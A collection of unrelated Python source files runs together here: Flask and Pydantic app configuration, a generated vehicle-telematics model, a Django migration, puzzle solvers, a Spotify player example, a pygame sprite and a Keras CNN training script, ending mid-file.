UserPatch(BaseModel): email: Optional[str]= None name: Optional[str]= None company: Optional[str]= None department: Optional[str]= None address: Optional[str]= None password: Optional[str]= None is_active: Optional[bool]= None class User(UserBase): id:int uuid:str is_active: bool= True groups:list permissions:list # is_super: bool = False class Config: orm_mode = True class Token(BaseModel): access_token: str token_type: str class TokenData(BaseModel): username: Optional[str] = None # class GroupBase(BaseModel): # name: str # class Config: # orm_mode = True # class Group(GroupBase): # id:int # class Config: # orm_mode = True # class Permission(BaseModel): # name: str # class UserGroup(BaseModel): # user_id: int # group_id: int # class PermissionGroup(BaseModel): # permission_id: int # group_id: int GroupBase = modelSerializer(models.Group, exclude=['id']) PermissionBase = modelSerializer(models.Permission, exclude=['id']) UserGroupBase = modelSerializer(models.UserGroup, exclude=['id'] ) PermissionGroupBase = modelSerializer(models.PermissionGroup, exclude=['id']) class Group(GroupBase): id:int class Permission(PermissionBase): id:int class UserGroup(UserGroupBase): id:int class PermissionGroup(PermissionGroupBase): id:int import os class Config(object): SQLALCHEMY_TRACK_MODIFICATIONS = False SQLALCHEMY_ECHO = False JWT_TOKEN_LOCATION = ['cookies'] JWT_COOKIE_SECURE = False JWT_SESSION_COOKIE = False JWT_ACCESS_COOKIE_PATH = '/' JWT_REFRESH_COOKIE_PATH = '/' JWT_COOKIE_CSRF_PROTECT = True JWT_SECRET_KEY = os.getenv('JWT_SECRET_KEY') OMDB_API_KEY = os.getenv('REACT_APP_OMDB_API_KEY') YOUTUBE_API_KEY = os.getenv("YOUTUBE_API_KEY") PAGINATE_PAGE_SIZE = 12 class DevelopmentConfig(Config): SQLALCHEMY_USERNAME = os.getenv('SQLALCHEMY_USERNAME') SQLALCHEMY_PASSWORD = ('') SQLALCHEMY_DB = 'series' SQLALCHEMY_DATABASE_URI = f'postgresql://{SQLALCHEMY_USERNAME}:{SQLALCHEMY_PASSWORD}@localhost:5432/{SQLALCHEMY_DB}' class HerokuConfig(Config): SQLALCHEMY_DATABASE_URI = os.getenv('DATABASE_URL') JWT_COOKIE_SECURE = True configs = { 'development': DevelopmentConfig, 'heroku': HerokuConfig } config = configs[os.getenv('FLASK_ENV', 'heroku')] # -*- coding: utf-8 -*- """ opentelematicsapi This file was automatically generated by APIMATIC v2.0 ( https://apimatic.io ). """ import opentelematicsapi.models.performance_thresholds class VehiclePerformanceEvent(object): """Implementation of the 'Vehicle Performance Event' model. TODO: type model description here. Attributes: id (string): The unique identifier for the specific Entity object in the system. provider_id (string): The unique 'Provider ID' of the TSP server_time (string): Date and time when this object was received at the TSP event_start (string): Date and time of the start of the event (engine start) event_end (string): Date and time of the end of the event (engine stop) vehicle_id (string): The vehicle id associated with this event event_comment (string): a free-form comment field. Can be used for e.g. identifying the type of event or other unstructured data hours (float): the number of hours elapsed over this Vehicle Performance Event, in hours thresholds (PerformanceThresholds): TODO: type description here. odometer_start (float): the vehicle odometer reading at the start of this event, in m odometer_end (float): the vehicle odometer reading at the end of this event, in m engine_time (float): the total amount of time spent with engine on during this event, in seconds moving_time (float): the total amount of time spent moving during this event, in seconds start_fuel (float): vehicle fuel level total (sum of both tanks if present) at start of this event end_fuel (float): vehicle fuel level total (sum of both tanks if present) at end of this event brake_applications (float): the total number of applications of the vehicle brakes during this event engine_load_stopped (float): the average engine load while the vehicle was stopped during this event, in percent engine_load_moving (float): the average engine load while the vehicle was moving during this event, in percent headlight_time (float): the total amount of time spent with headlights on during this event, in seconds speed_governor_value (float): this vehicles particular speed governor setting, in km/h over_rpm_time (float): the total amount of time the vehicle spent moving while over the RPM threshold during this event, in seconds over_speed_time (float): the total amount of time spent over the speed threshold during this event, in seconds excess_speed_time (float): the total amount of time spent over the excess speed threshold, in seconds long_idle_time (float): the total amount of time spent in 'long' idle during this event, in seconds short_idle_time (float): the total amount of time spent in idle (not 'long') during this event, in seconds short_idle_count (float): the total count of times when the vehicle entered an idle state, where the idle time did not exceed the 'long' threshold long_idle_fuel (float): the total amount of fuel used by the vehicle during idle times whose durations were 'long', in litres short_idle_fuel (float): the total amount of fuel used by the vehicle during idle times whose durations were not 'long', in litres cruise_events (float): the total count of cruise engagements during this event cruise_time (float): the total amount of time spent in cruise during this event, in seconds cruise_fuel (float): the total amount of fuel consumed in cruise during this event, in seconds cruise_distance (float): the total distance covered in cruise during this event, in meters top_gear_value (float): this vehicle's particular top gear ratio including the transmission and axle top_gear_time (float): the total amount of time spent while in top gear during this event, in seconds top_gear_fuel (float): the total amount of fuel consumed while in top gear during this event, in litres top_gear_distance (float): the total distance covered while in top gear during this event, in meters pto_fuel (float): the total amount of fuel dispensed with 'power take off' liquid tanker trailer systems, in litres pto_time (float): the total amount of time dispensing with 'power take off' liquid tanker trailer systems, in seconds seat_belt_time (float): the total amount of time spent with seatbelt engaged during this event, in seconds particulate_filter_status (ParticulateFilterStatusEnum): the regen status at the end of this event exhaust_fluid_level (float): DEF additive levels at the end of this event, in litres overspeed_low_throttle (float): the total amount of time spent over the speed threshold and simultaneously below the throttle threshold, in seconds overspeed_hi_throttle (float): the total amount of time spent over the speed thresshold and simultaneously above the throttle threshold, in seconds overrpm_low_throttle (float): the total amount of time the vehicle spent moving while over the rpm threshold and simultaneously below the throttle threshold, in seconds overrpm_hi_throttle (float): the total amount of time the vehicle spent moving while over the rpm threshold and simultaneously above the throttle threshold, in seconds lka_active (bool): Lane Keep Assist active status lka_disable (bool): Lane Keep Assist disable switch status ldw_active (bool): Lane Departure Warning active status ldw_disable (bool): Lane Departure Warning disable switch status """ # Create a mapping from Model property names to API property names _names = { "id":'id', "provider_id":'providerId', "server_time":'serverTime', "event_start":'eventStart', "event_end":'eventEnd', "vehicle_id":'vehicleId', "hours":'hours', "thresholds":'thresholds', "odometer_start":'odometerStart', "odometer_end":'odometerEnd', "engine_time":'engineTime', "moving_time":'movingTime', "start_fuel":'startFuel', "end_fuel":'endFuel', "brake_applications":'brakeApplications', "engine_load_stopped":'engineLoadStopped', "engine_load_moving":'engineLoadMoving', "headlight_time":'headlightTime', "speed_governor_value":'speedGovernorValue', "event_comment":'eventComment', "over_rpm_time":'overRpmTime', "over_speed_time":'overSpeedTime', "excess_speed_time":'excessSpeedTime', "long_idle_time":'longIdleTime', "short_idle_time":'shortIdleTime', "short_idle_count":'shortIdleCount', "long_idle_fuel":'longIdleFuel', "short_idle_fuel":'shortIdleFuel', "cruise_events":'cruiseEvents', "cruise_time":'cruiseTime', "cruise_fuel":'cruiseFuel', "cruise_distance":'cruiseDistance', "top_gear_value":'topGearValue', "top_gear_time":'topGearTime', "top_gear_fuel":'topGearFuel', "top_gear_distance":'topGearDistance', "pto_fuel":'ptoFuel', "pto_time":'ptoTime', "seat_belt_time":'seatBeltTime', "particulate_filter_status":'particulateFilterStatus', "exhaust_fluid_level":'exhaustFluidLevel', "overspeed_low_throttle":'overspeedLowThrottle', "overspeed_hi_throttle":'overspeedHiThrottle', "overrpm_low_throttle":'overrpmLowThrottle', "overrpm_hi_throttle":'overrpmHiThrottle', "lka_active":'lkaActive', "lka_disable":'lkaDisable', "ldw_active":'ldwActive', "ldw_disable":'ldwDisable' } def __init__(self, id=None, provider_id=None, server_time=None, event_start=None, event_end=None, vehicle_id=None, hours=None, thresholds=None, odometer_start=None, odometer_end=None, engine_time=None, moving_time=None, start_fuel=None, end_fuel=None, brake_applications=None, engine_load_stopped=None, engine_load_moving=None, headlight_time=None, speed_governor_value=None, event_comment=None, over_rpm_time=None, over_speed_time=None, excess_speed_time=None, long_idle_time=None, short_idle_time=None, short_idle_count=None, long_idle_fuel=None, short_idle_fuel=None, cruise_events=None, cruise_time=None, cruise_fuel=None, cruise_distance=None, top_gear_value=None, top_gear_time=None, top_gear_fuel=None, top_gear_distance=None, pto_fuel=None, pto_time=None, seat_belt_time=None, particulate_filter_status=None, exhaust_fluid_level=None, overspeed_low_throttle=None, overspeed_hi_throttle=None, overrpm_low_throttle=None, overrpm_hi_throttle=None, lka_active=None, lka_disable=None, ldw_active=None, ldw_disable=None): """Constructor for the VehiclePerformanceEvent class""" # Initialize members of the class self.id = id self.provider_id = provider_id self.server_time = server_time self.event_start = event_start self.event_end = event_end self.vehicle_id = vehicle_id self.event_comment = event_comment self.hours = hours self.thresholds = thresholds self.odometer_start = odometer_start self.odometer_end = odometer_end self.engine_time = engine_time self.moving_time = moving_time self.start_fuel = start_fuel self.end_fuel = end_fuel self.brake_applications = brake_applications self.engine_load_stopped = engine_load_stopped self.engine_load_moving = engine_load_moving self.headlight_time = headlight_time self.speed_governor_value = speed_governor_value self.over_rpm_time = over_rpm_time self.over_speed_time = over_speed_time self.excess_speed_time = excess_speed_time self.long_idle_time = long_idle_time self.short_idle_time = short_idle_time self.short_idle_count = short_idle_count self.long_idle_fuel = long_idle_fuel self.short_idle_fuel = short_idle_fuel self.cruise_events = cruise_events self.cruise_time = cruise_time self.cruise_fuel = cruise_fuel self.cruise_distance = cruise_distance self.top_gear_value = top_gear_value self.top_gear_time = top_gear_time self.top_gear_fuel = top_gear_fuel self.top_gear_distance = top_gear_distance self.pto_fuel = pto_fuel self.pto_time = pto_time self.seat_belt_time = seat_belt_time self.particulate_filter_status = particulate_filter_status self.exhaust_fluid_level = exhaust_fluid_level self.overspeed_low_throttle = overspeed_low_throttle self.overspeed_hi_throttle = overspeed_hi_throttle self.overrpm_low_throttle = overrpm_low_throttle self.overrpm_hi_throttle = overrpm_hi_throttle self.lka_active = lka_active self.lka_disable = lka_disable self.ldw_active = ldw_active self.ldw_disable = ldw_disable @classmethod def from_dictionary(cls, dictionary): """Creates an instance of this model from a dictionary Args: dictionary (dictionary): A dictionary representation of the object as obtained from the deserialization of the server's response. The keys MUST match property names in the API description. Returns: object: An instance of this structure class. """ if dictionary is None: return None # Extract variables from the dictionary id = dictionary.get('id') provider_id = dictionary.get('providerId') server_time = dictionary.get('serverTime') event_start = dictionary.get('eventStart') event_end = dictionary.get('eventEnd') vehicle_id = dictionary.get('vehicleId') hours = dictionary.get('hours') thresholds = opentelematicsapi.models.performance_thresholds.PerformanceThresholds.from_dictionary(dictionary.get('thresholds')) if dictionary.get('thresholds') else None odometer_start = dictionary.get('odometerStart') odometer_end = dictionary.get('odometerEnd') engine_time = dictionary.get('engineTime') moving_time = dictionary.get('movingTime') start_fuel = dictionary.get('startFuel') end_fuel = dictionary.get('endFuel') brake_applications = dictionary.get('brakeApplications') engine_load_stopped = dictionary.get('engineLoadStopped') engine_load_moving = dictionary.get('engineLoadMoving') headlight_time = dictionary.get('headlightTime') speed_governor_value = dictionary.get('speedGovernorValue') event_comment = dictionary.get('eventComment') over_rpm_time = dictionary.get('overRpmTime') over_speed_time = dictionary.get('overSpeedTime') excess_speed_time = dictionary.get('excessSpeedTime') long_idle_time = dictionary.get('longIdleTime') short_idle_time = dictionary.get('shortIdleTime') short_idle_count = dictionary.get('shortIdleCount') long_idle_fuel = dictionary.get('longIdleFuel') short_idle_fuel = dictionary.get('shortIdleFuel') cruise_events = dictionary.get('cruiseEvents') cruise_time = dictionary.get('cruiseTime') cruise_fuel = dictionary.get('cruiseFuel') cruise_distance = dictionary.get('cruiseDistance') top_gear_value = dictionary.get('topGearValue') top_gear_time = dictionary.get('topGearTime') top_gear_fuel = dictionary.get('topGearFuel') top_gear_distance = dictionary.get('topGearDistance') pto_fuel = dictionary.get('ptoFuel') pto_time = dictionary.get('ptoTime') seat_belt_time = dictionary.get('seatBeltTime') particulate_filter_status = dictionary.get('particulateFilterStatus') exhaust_fluid_level = dictionary.get('exhaustFluidLevel') overspeed_low_throttle = dictionary.get('overspeedLowThrottle') overspeed_hi_throttle = dictionary.get('overspeedHiThrottle') overrpm_low_throttle = dictionary.get('overrpmLowThrottle') overrpm_hi_throttle = dictionary.get('overrpmHiThrottle') lka_active = dictionary.get('lkaActive') lka_disable = dictionary.get('lkaDisable') ldw_active = dictionary.get('ldwActive') ldw_disable = dictionary.get('ldwDisable') # Return an object of this model return cls(id, provider_id, server_time, event_start, event_end, vehicle_id, hours, thresholds, odometer_start, odometer_end, engine_time, moving_time, start_fuel, end_fuel, brake_applications, engine_load_stopped, engine_load_moving, headlight_time, speed_governor_value, event_comment, over_rpm_time, over_speed_time, excess_speed_time, long_idle_time, short_idle_time, short_idle_count, long_idle_fuel, short_idle_fuel, cruise_events, cruise_time, cruise_fuel, cruise_distance, top_gear_value, top_gear_time, top_gear_fuel, top_gear_distance, pto_fuel, pto_time, seat_belt_time, particulate_filter_status, exhaust_fluid_level, overspeed_low_throttle, overspeed_hi_throttle, overrpm_low_throttle, overrpm_hi_throttle, lka_active, lka_disable, ldw_active, ldw_disable) # Please attribute to , # #Use and distribute as you want. from mpl_toolkits.mplot3d import axes3d import matplotlib.pyplot as plt import numpy as np from mayavi import mlab #Torus #+++++++++++++++++++++++++++++++++ #http://goanna.cs.rmit.edu.au/~gl/teaching/cosc1226/notes/parametric.pdf #https://pritschet.me/wiki/python/example-scripts-python/plotting-complicated-surfaces-mayavi/ #x = (R + rcos(v))cos(u) #y = (R + rcos(v))sin(u) #z= -rsin(v) p,q = 3,2 mlab.figure(size=(900,800), bgcolor=(0,0,0), fgcolor=(1,1,1)) #Plots a meshplane r = .5 R = 1 v = np.linspace(-p*np.pi,p*np.pi,p*200) u = np.linspace(-q*np.pi,q*np.pi,p*200) #Create coordinates x = (R + r*np.cos(v))*np.cos(u) y = (R + r*np.cos(v))*np.sin(u) z= -r*np.sin(v) #Plot a string around the torus. mobj = mlab.plot3d(x,y,z, z, colormap='jet') mlab.orientation_axes(xlabel='x',ylabel='y',zlabel='z') mlab.title(r'Coupled oscillation: Strogtaz 8.6', line_width=.5, height=.85, opacity=.5, size=10) #mlab.outline(opacity=.1) #Shadow torus s = mlab.pipeline.parametric_surface() s.function = 'torus' mlab.pipeline.surface(s, color=(1,1,1), opacity=.1, representation='wireframe') plt.show() # @mlab.animate # def anim(delay=200): # f = mlab.gcf() # while 1: # f.scene.camera.azimuth(20) # f.scene.render() # yield # # a = anim() # Starts the animation. radiusoss/constructorconstructor/conda_interface.py # -*- coding: utf-8 -*- from __future__ import absolute_import, division, print_function, unicode_literals import json from os.path import join import sys try: from conda import __version__ as CONDA_INTERFACE_VERSION conda_interface_type = 'conda' except ImportError: raise RuntimeError("Conda must be installed for python interpreter\n" "with sys.prefix: %s" % sys.prefix) if conda_interface_type == 'conda': CONDA_MAJOR_MINOR = tuple(int(x) for x in CONDA_INTERFACE_VERSION.split('.')[:2]) from conda.base.context import context cc_platform = context.subdir from conda.exports import fetch_index as _fetch_index, cache_fn_url as _cache_fn_url from conda.exports import Resolve, NoPackagesFound from conda.exports import default_prefix from conda.exports import linked_data from conda.exports import download as _download from conda.models.channel import prioritize_channels def fetch_index(channel_urls): return _fetch_index(prioritize_channels(channel_urls)) def fetch_pkg(pkginfo, download_dir): pkg_url = pkginfo['url'] assert pkg_url _download(pkg_url, join(download_dir, pkginfo['fn'])) def write_repodata(cache_dir, url): if CONDA_MAJOR_MINOR >= (4, 5): from conda.core.subdir_data import fetch_repodata_remote_request raw_repodata_str = fetch_repodata_remote_request(url, None, None) repodata_filename = _cache_fn_url(url) with open(join(cache_dir, repodata_filename), 'w') as fh: fh.write(raw_repodata_str) elif CONDA_MAJOR_MINOR >= (4, 4): from conda.core.repodata import fetch_repodata_remote_request raw_repodata_str = fetch_repodata_remote_request(url, None, None) repodata_filename = _cache_fn_url(url) with open(join(cache_dir, repodata_filename), 'w') as fh: fh.write(raw_repodata_str) elif CONDA_MAJOR_MINOR >= (4, 3): from conda.core.repodata import fetch_repodata_remote_request repodata_obj = fetch_repodata_remote_request(None, url, None, None) raw_repodata_str = json.dumps(repodata_obj) repodata_filename = _cache_fn_url(url) with open(join(cache_dir, repodata_filename), 'w') as fh: fh.write(raw_repodata_str) else: raise NotImplementedError("unsupported version of conda: %s" % CONDA_INTERFACE_VERSION) cc_platform = cc_platform fetch_index, fetch_pkg = fetch_index, fetch_pkg Resolve, NoPackagesFound = Resolve, NoPackagesFound default_prefix = default_prefix linked_data = linked_data 10-100 import pymysql # Django使用的MySQLdb对Python3支持力度不够，我们用PyMySQL来代替 pymysql.install_as_MySQLdb() elyase/polyaxonpolyaxon/db/migrations/0009_auto_20180926_0811.py # Generated by Django 2.0.8 on 2018-09-26 08:11 import django.contrib.postgres.fields.jsonb import django.core.validators from django.db import migrations, models import django.db.models.deletion import db.models.experiments import libs.blacklist import re import uuid class Migration(migrations.Migration): dependencies = [ ('db', '0008_experimentjob_tolerations_update'), ] operations = [ migrations.CreateModel( name='ExperimentChartView', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(blank=True, default=None, max_length=256, null=True, validators=[django.core.validators.RegexValidator(re.compile('^[-a-zA-Z0-9_]+\\Z'), "Enter a valid 'slug' consisting of letters, numbers, underscores or hyphens.", 'invalid'), libs.blacklist.validate_blacklist_name])), ('created_at', models.DateTimeField(auto_now_add=True, db_index=True)), ('updated_at', models.DateTimeField(auto_now=True)), ('uuid', models.UUIDField(default=uuid.uuid4, editable=False, unique=True)), ('charts', django.contrib.postgres.fields.jsonb.JSONField()), ('meta', django.contrib.postgres.fields.jsonb.JSONField(blank=True, default=dict, null=True)), ], options={ 'ordering': ['created_at'], 'verbose_name_plural': 'Experiment Chart Views', }, ), migrations.CreateModel( name='ExperimentGroupChartView', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(blank=True, default=None, max_length=256, null=True, validators=[django.core.validators.RegexValidator(re.compile('^[-a-zA-Z0-9_]+\\Z'), "Enter a valid 'slug' consisting of letters, numbers, underscores or hyphens.", 'invalid'), libs.blacklist.validate_blacklist_name])), ('created_at', models.DateTimeField(auto_now_add=True, db_index=True)), ('updated_at', models.DateTimeField(auto_now=True)), ('uuid', models.UUIDField(default=uuid.uuid4, editable=False, unique=True)), ('charts', django.contrib.postgres.fields.jsonb.JSONField()), ('meta', django.contrib.postgres.fields.jsonb.JSONField(blank=True, default=dict, null=True)), ('experiment_group', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='chart_views', to='db.ExperimentGroup')), ], options={ 'ordering': ['created_at'], 'verbose_name_plural': 'Experiment Group Chart Views', }, ), migrations.AlterModelOptions( name='experimentgroupstatus', options={'verbose_name_plural': 'Experiment Group Statuses'}, ), migrations.AddField( model_name='buildjobstatus', name='traceback', field=models.TextField(blank=True, null=True), ), migrations.AddField( model_name='codereference', name='branch', field=models.CharField(blank=True, default='master', max_length=124, null=True), ), migrations.AddField( model_name='codereference', name='git_url', field=models.CharField(blank=True, max_length=256, null=True), ), migrations.AddField( model_name='codereference', name='head', field=models.CharField(blank=True, max_length=40, null=True), ), migrations.AddField( model_name='codereference', name='is_dirty', field=models.BooleanField(default=False), ), migrations.AddField( model_name='experiment', name='data_refs', field=django.contrib.postgres.fields.jsonb.JSONField(blank=True, help_text='The data hashes used.', null=True), ), migrations.AddField( model_name='experiment', name='run_env', field=django.contrib.postgres.fields.jsonb.JSONField(blank=True, default=db.models.experiments.default_run_env, help_text='The run environment of the experiment.', null=True), ), migrations.AddField( model_name='experimentgroupstatus', name='traceback', field=models.TextField(blank=True, null=True), ), migrations.AddField( model_name='experimentjobstatus', name='traceback', field=models.TextField(blank=True, null=True), ), migrations.AddField( model_name='experimentstatus', name='traceback', field=models.TextField(blank=True, null=True), ), migrations.AddField( model_name='job', name='data_refs', field=django.contrib.postgres.fields.jsonb.JSONField(blank=True, help_text='The data hashes used.', null=True), ), migrations.AddField( model_name='jobstatus', name='traceback', field=models.TextField(blank=True, null=True), ), migrations.AddField( model_name='notebookjob', name='data_refs', field=django.contrib.postgres.fields.jsonb.JSONField(blank=True, help_text='The data hashes used.', null=True), ), migrations.AddField( model_name='notebookjobstatus', name='traceback', field=models.TextField(blank=True, null=True), ), migrations.AddField( model_name='operationrunstatus', name='traceback', field=models.TextField(blank=True, null=True), ), migrations.AddField( model_name='pipelinerunstatus', name='traceback', field=models.TextField(blank=True, null=True), ), migrations.AddField( model_name='search', name='meta', field=django.contrib.postgres.fields.jsonb.JSONField(blank=True, default=dict, null=True), ), migrations.AddField( model_name='tensorboardjobstatus', name='traceback', field=models.TextField(blank=True, null=True), ), migrations.AddField( model_name='experimentchartview', name='experiment', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='chart_views', to='db.Experiment'), ), ] python/day25.py1-10 #!/usr/bin/env python3 import sys def ints(itr): return [int(i) for i in itr] with open(sys.argv[1], "r") as f: lines = [l for l in f.read().split("\n") if l] ilist = [] imap = {} total = 0 result = 0 other = 0 def trx(n, ls): v = 1 for i in range(ls): v *= n v = v % 20201227 return v while True: ckey, dkey = ints(lines) cls = -1 dls = -1 v = 1 for cand in range(1, 10000001): v = (v * 7) % 20201227 if cand % 10000 == 0: print(cand) if cls == -1 and v == ckey: print('cls', cand, v) cls = cand elif dls == -1 and v == dkey: print('dls', cand, v) dls = cand print('lss', cls, dls) print(trx(dkey, cls)) print(trx(ckey, dls)) break print(f"Total: {total}") print(f"Result: {result}") print(f"Other: {other}") 1-10 """ Perform calculations on a string """ import re from unittest import TestCase func = { '^': lambda x, y: x**y, '*': lambda x, y: x * y, '/': lambda x, y: x / y, '+': lambda x, y: x + y, '-': lambda x, y: x - y } def evaluate_base(elements): working_set = elements for operator in func: i = 1 print(f'Perfoming {operator} on {working_set}') while operator in working_set: # print(working_set) if working_set[i] == operator: left, right = float(working_set[i - 1]), float(working_set[i + 1]) result = func[operator](left, right) # print(f'{left} {operator} {right} = {result}') working_set = [*working_set[:i - 1], str(result), *working_set[i + 2:]] else: i += 1 return float(working_set[0]) def evaluate_parens(elements): count, _close = 0, len(elements) _open = elements.index('(') updated_elements = elements[:_open] # elements before paren for i in range(_open, len(elements)): # lets find the closing peren if elements[i] == '(': count += 1 elif elements[i] == ')': count -= 1 if count == 0: _close = i + 1 break priority = evaluate(elements[_open + 1:_close - 1]) # omit the outer-most perens # print(f'{elements[_open+1:_close-1]} = {priority}') updated_elements.append(priority) updated_elements.extend(elements[_close:]) return evaluate(updated_elements) def evaluate(elements): # print(elements) if '(' in elements: # Assuming all parens are matched return evaluate_parens(elements) else: return evaluate_base(elements) def solve(expression_str): fixed = expression_str.replace('(', '( ').replace(')', ' )') elements = fixed.split() # print(expression_str, fixed, elements) return evaluate(elements) class TestThing(TestCase): tests = [ {'arg': '1 + 2', 'want': 3}, {'arg': '4 - 1', 'want': 3}, {'arg': '3 * 2', 'want': 6}, {'arg': '9 / 3', 'want': 3}, {'arg': '2 * 2 + 3', 'want': 7}, {'arg': '2 * (2 + 3)', 'want': 10} ] def setUp(self) -> None: print(f'\n--- Running test: {self._testMethodName} ---') def test_one_example(self): for t in self.tests: print(f'Testing {t} - ') result = solve(t['arg']) assert result == float(t['want']) print('--- PASS ---') """ Example on how to use the Player class to embed Spotify into another app Note: This example uses tkinter to make a UI; you can do whatever is most easily integrated into your application. Actual applications should get tokens using Spotify's authentication pipeline, and should deal with reauthentication. See this link for more information: https://developer.spotify.com/documentation/general/guides/authorization-guide/ Running this example: * Install Spotifython using our quickstart: TODO * Install PIL (used to display cover image) * Get a token: https://developer.spotify.com/console/get-user-player/ * The token must have the following scopes: user-read-playback-state user-modify-playback-state * Set the environment variable 'TOKEN': export TOKEN=__token_string__ * Run the script: python3 player_control.py TODO: add moving progress bar TODO: add 'available devices' section to transfer playback """ #pylint: disable=invalid-name,import-error,not-callable # Standard library imports import io import os import tkinter as tk import urllib # 3rd party imports from PIL import Image, ImageTk # Render the cover photo import spotifython as sp # Constants REFRESH_RATE = 1000 # 1 second # Spotifython variables session = sp.Session(os.environ['TOKEN']) user = session.current_user() player = user.player() # Tkinter setup root = tk.Tk() def update(): """ Update song name and image in the GUI """ try: track = player.currently_playing() # No active device except sp.SpotifyError: root.song_cover.configure(image=None) root.song_name.configure(text='Nothing playing.') return # Update the cover photo images = track.album().images() # In a normal app, may want to pick one of the images. # Here, use first one and resize url = images[0].url() # Build an image object to render in tkinter raw_data = urllib.request.urlopen(url).read() im = Image.open(io.BytesIO(raw_data)) im = im.resize((150, 150), Image.ANTIALIAS) # Save image, otherwise tkinter will not render properly root.image = ImageTk.PhotoImage(im) root.song_cover.configure(image=root.image) # Update the song name artists = ', '.join([art.name() for art in track.artists()]) name = track.name() + ' by ' + artists root.song_name.configure(text=name) # Reschedule the update root.after(REFRESH_RATE, update) def play_pause(): """ Pause if the song is playing, otherwise resume """ try: if player.is_paused(): player.resume() else: player.pause() # No active device except sp.SpotifyError: return def skip(): """ Go to the next song """ try: player.skip() update() # No active device except sp.SpotifyError: return def prev(): """ Go to the previous song """ try: player.previous() update() # No active device except sp.SpotifyError: return def main(): """ You can mostly ignore this function. main() doesn't do anything with Spotifython; it just manages tkinter. """ # Tkinter setup root.title(f'{user.name()}\'s player controller') root.geometry('400x250') root.configure(bg='darkgray') # Create our layout control_frame = tk.Frame(root) control_frame.pack(side='bottom') song_frame = tk.Frame(root) song_frame.pack(side='bottom') # Create our buttons # Note on macs, bg / fg colors for buttons aren't supported. # Use highlightbackground as a workaround. prev_button = tk.Button( control_frame, text='<<', highlightbackground='darkgray', command=prev) prev_button.pack(side='left') play_pause_button = tk.Button( control_frame, text='play/pause', highlightbackground='darkgray', command=play_pause) play_pause_button.pack(side='left') skip_button = tk.Button( control_frame, text='>>', highlightbackground='darkgray', command=skip) skip_button.pack(side='left') root.song_name = tk.Label(song_frame, bg='darkgray') root.song_name.pack(side='bottom') root.song_cover = tk.Label(song_frame, bg='darkgray') root.song_cover.pack(side='bottom') # Start the program loop update() root.mainloop() if __name__ == '__main__': main() try: import pygame from configs import * import colors from events import * except ImportError: print("Fulfil requirements") COPTER_SPRITE = [pygame.transform.scale(pygame.image.load('Assets/copter/copter1.png'), (COPTER_WIDTH, COPTER_HEIGHT)), pygame.transform.scale(pygame.image.load( 'Assets/copter/copter2.png'), (COPTER_WIDTH, COPTER_HEIGHT)), pygame.transform.scale(pygame.image.load( 'Assets/copter/copter3.png'), (COPTER_WIDTH, COPTER_HEIGHT)), pygame.transform.scale(pygame.image.load( 'Assets/copter/copter4.png'), (COPTER_WIDTH, COPTER_HEIGHT)), pygame.transform.scale(pygame.image.load( 'Assets/copter/copter5.png'), (COPTER_WIDTH, COPTER_HEIGHT)), pygame.transform.scale(pygame.image.load( 'Assets/copter/copter6.png'), (COPTER_WIDTH, COPTER_HEIGHT)), pygame.transform.scale(pygame.image.load( 'Assets/copter/copter7.png'), (COPTER_WIDTH, COPTER_HEIGHT)), pygame.transform.scale(pygame.image.load('Assets/copter/copter8.png'), (COPTER_WIDTH, COPTER_HEIGHT))] class Copter(): def __init__(self): self.hitbox_width = 110 self.hitbox_height = 54 self.COPTER_ANIMATION_COUNT = 0 self.rect = pygame.Rect( 100, HEIGHT // 2, self.hitbox_width, self.hitbox_height) def draw(self, WIN): if self.COPTER_ANIMATION_COUNT > 7: self.COPTER_ANIMATION_COUNT = 0 WIN.blit(COPTER_SPRITE[self.COPTER_ANIMATION_COUNT], (self.rect.x - 20, self.rect.y)) self.COPTER_ANIMATION_COUNT += 1 def move_up(self): self.rect.y -= DROP_VEL def move_down(self): self.rect.y += DROP_VEL def update(self, output): if output[0] >= 0.5: self.move_up() else: self.move_down() def collision(self, ghost): if self.rect.colliderect(ghost): return True return False def collison_with_boundary(self): if self.rect.y < 0 or self.rect.y + self.hitbox_height > HEIGHT: return True return False bjayakumar/test_vendorpython/tests/tf_session.py # borrowed from GPFlow import functools import contextlib import tensorflow as tf import pytest import os @pytest.fixture def session_tf(): """ Session creation pytest fixture. ``` def test_simple(session_tf): tensor = tf.constant(1.0) result = session_tf.run(tensor) # ... ``` In example above the test_simple is wrapped within graph and session created at `session_tf()` fixture. Session and graph are created per each pytest function where `session_tf` argument is used. """ with session_context() as session: yield session class session_context(contextlib.ContextDecorator): def __init__(self, graph=None, close_on_exit=True, **kwargs): self.graph = graph self.close_on_exit = close_on_exit self.session = None self.session_args = kwargs def __enter__(self): graph = tf.Graph() if self.graph is None else self.graph session = tf.Session(graph=graph, **self.session_args) self.session = session session.__enter__() return session def __exit__(self, *exc): session = self.session session.__exit__(*exc) if self.close_on_exit: session.close() return False from __future__ import absolute_import from __future__ import division from __future__ import print_function from PIL import Image import keras import tensorflow import cv2 import numpy as np from face_network import create_face_network import cv2 import matplotlib.pyplot as plt import numpy as np from keras.preprocessing import image from keras import preprocessing from keras.preprocessing import sequence from keras.preprocessing.image import ImageDataGenerator from keras.preprocessing.image import load_img, img_to_array from keras.models import Sequential from keras.models import load_model from keras.layers import Conv2D, MaxPooling2D from keras.layers import Activation, Dropout, Flatten, Dense from keras import backend as K ''' img = load_img(image) # this is a PIL image print(img) array = img_to_array(img) arrayresized = cv2.resize(array, (150,150)) print(arrayresized) # this is a Numpy array with shape (3, 150, 150) ''' img_width, img_height = 150, 150 train_data_dir = 'C:/data/train' validation_data_dir = 'C:/data/validation' nb_train_samples = 1500 nb_validation_samples = 650 epochs = 20 batch_size = 15 if K.image_data_format() == 'channels_first': input_shape = (3, img_width, img_height) else: input_shape = (img_width, img_height, 3) model = Sequential() model.add(Conv2D(32, (3, 3), input_shape=input_shape)) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Conv2D(32, (3, 3))) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Conv2D(64, (3, 3))) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Flatten()) model.add(Dense(64)) model.add(Activation('relu')) model.add(Dropout(0.5)) model.add(Dense(1)) model.add(Activation('sigmoid')) model.compile(loss='binary_crossentropy', optimizer='rmsprop', metrics=['accuracy']) # this is the augmentation configuration we will use for training 